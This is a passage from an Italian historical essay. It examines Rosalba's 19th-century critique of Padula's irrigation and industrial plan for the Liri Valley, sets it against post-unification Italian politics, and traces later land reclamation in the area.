52sgg). Non a caso egli cita largamente, Melchiorre Gioia della Filosofia della Statistica, nei passaggi in cui fa riferimento a casi antichi e recenti, europei ed extraeuropei, di regioni irrigate (Bagdad, Aragona, Nuova Spagna, Piemonte, Sicilia: Duca di Monteleone e Duca Gualtieri). In buona sostanza il verificatore Rosalba condivide, salvo marginali rilievi, tutte le scelte fatte nel progetto del Padula. Tuttavia, gli muove una sola, grande e fondamentale obiezione, assai interessante per il nostro discorso. Mentre il pur valido collega prevedeva «rendita nuova» dalla costruzione di ben 40 opifici industriali (si ché, asseriva, «questa parte della Provincia di Terra di Lavoro rivaleggerà co’ primi distretti manifatturieri della Francia e dell'Inghilterra...», il Rosalba sostiene invece che il futuro è nei miglioramenti dell’agricoltura e della pastorizia (ad esempio, chiede che l’industria della seta venga tolta ai «miseri coloni» e accentrata nelle mani dei «grandi proprietari», per realizzare quella che oggi chiamiamo un'economia di scala), nonché, nel commercio, considerato l'alto sviluppo lineare delle coste nazionali. Leggiamolo: «Io non partecipo affatto, alle illusioni di cosi prosperevole avvenire, che star poteva alcun poco ne’decorsi tempi, del così detto protezionismo: quel sistema artificiale di grandi industrie manifattrici col quale i stati diversi di Europa si facevano asprissima guerra economica è passato, e non tornerà più presso noi; e non è neppur desiderabile che torni. Imperocché, in un suolo ubertoso come il nostro, e sotto l'influenza di un bel sole, di un sole d'Italia, come disse la Sthael, noi dobbiamo esser popolo agricoltore e popolo pastore – e per quanto riguardi commercio, atteso il giro delle nostre estesissime coste, in mezzo al più bello de’mari interni, dobbiamo essere popolo commerciante, come altra volta lo fummo; ed emulare la gloria dell’antica Genova, dell’antica, ora sventurata Venezia; e dell’antica Costiera Amalfitana; chè il commercio nulla toglie allo slancio dell'agricoltura e della pastorizia, anzi l'accresce, col favorire l’esportazione delle materie prime, inservienti alle manifatture straniere» (p. 56). Nonostante tutto, e a parte le sue citazioni (Quesnay, Souilly), egli non vuoi essere scambiato per un fisiocratico “fondamentalista”, che suonerebbe peraltro un tradimento all’illustre conterraneo Antonio Genovesi. Qui dimostra un certo opportunismo e comunque fa dubitare della sua totale buona fede, benché a scusante ci fosse l’aria che tirava all’epoca. Pur in presenza di un governo di destra, infatti, nei primi anni postunitari gli uomini politici italiani sia di destra che di sinistra concordavano in una politica che valorizzasse l’agricoltura per creare capitali da investire in infrastrutture, il che realmente avvenne (specie in campo viario-ferroviario), a scapito dell’industria nazionale, che accusò un gap tecnologico in settori-chiave (siderurgico e meccanico), e a danno esiziale dell’industria meridionale, costretta spesso alla scomparsa, con l’eccezione del ramo serico, nemmanco troppo modernizzato. È interessante analizzare i motivi addotti dal Rosalba per la sua scelta pianificatoria: mancano i capitali per l’industria; non c'è più protezione doganale (l’Italia aveva adottato il liberismo piemontese); nell'attività di fabbrica ci si aliena («un lavoro che fa dell'uomo un automata») e nasce la lotta di classe (che comunque è giusta, giacché i «capi» delle Società manifatturiere sono «ingiusti e crudeli per avarizia verso gli operai» (p. 60), mentre con l'affermazione di un'agricoltura modernizzata «non tarderebbe a...raddoppiare una industre, comoda, mansueta e morale popolazione contadinesca» (p. 59), come accadeva in Lombardia, Piemonte e Toscana. Queste le conclusioni: «Contentiamoci, come abbiamo detto poco avanti, di qualche piccolo profitto per opifici, che potrebbero stabilirsi per eccezione, e di qualche macchina di agricoltura e nulla più: questo solo è serio! Curiamo tutto l’utile che dovrà necessariamente provenire dall’aumento di rendita nei fondi per la irrigazione, come l’abbiamo calcolato...» (p. 60). Nelle sue argomentazioni, il Rosalba non manca di lanciare degli strali ai Borboni (forse anche un po’ eccessivi e ingenerosi) e alle precedenti dominazioni del Sud: la Campania Felice deve esser resa «più degna di quel suo nome, dal quale ha dovuto scapitare per l’indolenza di governi che nulla han voluto fare per la protezione delle scienze agronomiche» (p. 60). Ora, da sole queste popolazioni «non arriverebbero mai a crearsi per propria iniziativa quel sistema d’irrigazione che tanto bramano....soggiaciute da tanti secoli al reggimento di governi dispotici...». Come si vede, viene fuori una figura di “uomo di sinistra”, troppo ligio agli interessi dei grandi proprietari e certamente succube della temperie politico-economica. Quelle popolazioni – egli prosegue – «han perduto la coscienza della forza collettiva [riappare il linguaggio di sinistra...], e la fiducia che dovrebbero avervi. Tutto per esse bisogna che accada per fatto di Amministrazione: specialmente; per un gran sistema d’irrigazione, su del quale, l’Amministrazione deve necessariamente mettersi a capo, per tutelare la salute pubblica, e l’ordine pubblico: e poi ancora per proteggere e sussidiare un’opera di tanta importanza con opportune anticipazioni, onde far fronte alle inevitabili spese, alle quali si va incontro sulle prime. Ben inteso, che quelle anticipazioni dovrebbero essere dai proprietarii dei fondi rimborsate...» (pp. 68-69). Tornano quanto mai illuminanti, a questo punto, per spiegare l'apparente contraddizione dì questo tecnico-umanista, le seguenti riflessioni di Giovanni Spadolini (1985) sulla situazione dell’Italia all'indomani dell’Unità: «...la Destra subordinò in ogni momento i problemi amministrativi agli imperativi morali...e guardò alle riforme come a uno strumento di trasformazione etico-educativa molto prima che di stabilizzazione politico-economica. La...Sinistra, premuta dalle rivendicazioni dei nuovi ceti che affioravano alla superficie, incalzato dall’attacco del protezionismo industriale congiunto all’estensione dell'intervento dello Stato e della burocrazia, si trovò costretta a imboccare una strada diversa e talora opposta, a dare la priorità al rafforzamento delle strutture giuridiche, rispetto a quello delle convinzioni ideali, a optare per la creazione di un equilibrio sociale piuttosto che per la ricerca di una più elevata coscienza morale» . O quanto si legge in un accreditato manuale di storia: «Le differenze tra i due schieramenti politici erano di natura ideologica più che sociale: la Sinistra raccoglieva tutti coloro che volevano una più larga partecipazione alla gestione del potere (da realizzare soprattutto attraverso l'ampliamento del corpo elettorale) oppure che, come i repubblicani, si erano opposti allo sbocco istituzionale che era stato dato al processo di unificazione. La Sinistra aveva dato espressione politica al vasto malcontento provocato dalla politica di rigore della Destra, riunendo gruppi sociali eterogenei: in essa si erano infatti raccolti sia i rappresentanti della più avanzata borghesia settentrionale che quelli della borghesia terriera meridionale, contrari alla politica di costruzione di infrastrutture necessarie a sostenere lo sviluppo industriale del Nord, che era finanziata con maggiori imposizioni sulla proprietà terriera» (VILLANI, PETRACCONE, GAETA, 1996, p. 46). Allo stato attuale della mia indagine non so in particolare quanto di quello che possiamo chiamare il progetto Padula-Rosalba sia rifluito nei successivi e tardivi interventi bonificatori dell'area in parola. Riassuntivamente sarà forse utile richiamare quanto di recente scriveva Stefano Lepre: «Il territorio della Valle del Liri venne classificato comprensorio di bonifica di prima categoria dopo il 1882, col r. d. 11 ottobre 1885, e nel corso del primo decennio del Novecento vennero eseguiti anche alcuni lavori (tra i quali il prosciugamento di uno stagno a Cassino e la sistemazione idraulica e l'imbrigliamento di diversi torrenti del bacino Consorzio di Bonifica della Valle del Liri si è costituito abbastanza tardi, nel 1950, e ha operato dal 1952: esso ha compiuto rilevanti interventi di bonifica idraulica e montana, nel settore della viabilità e per l'elettrificazione rurale ( LEPRE, 1998, p. 553).

Autore della scheda: Vincenzo Aversano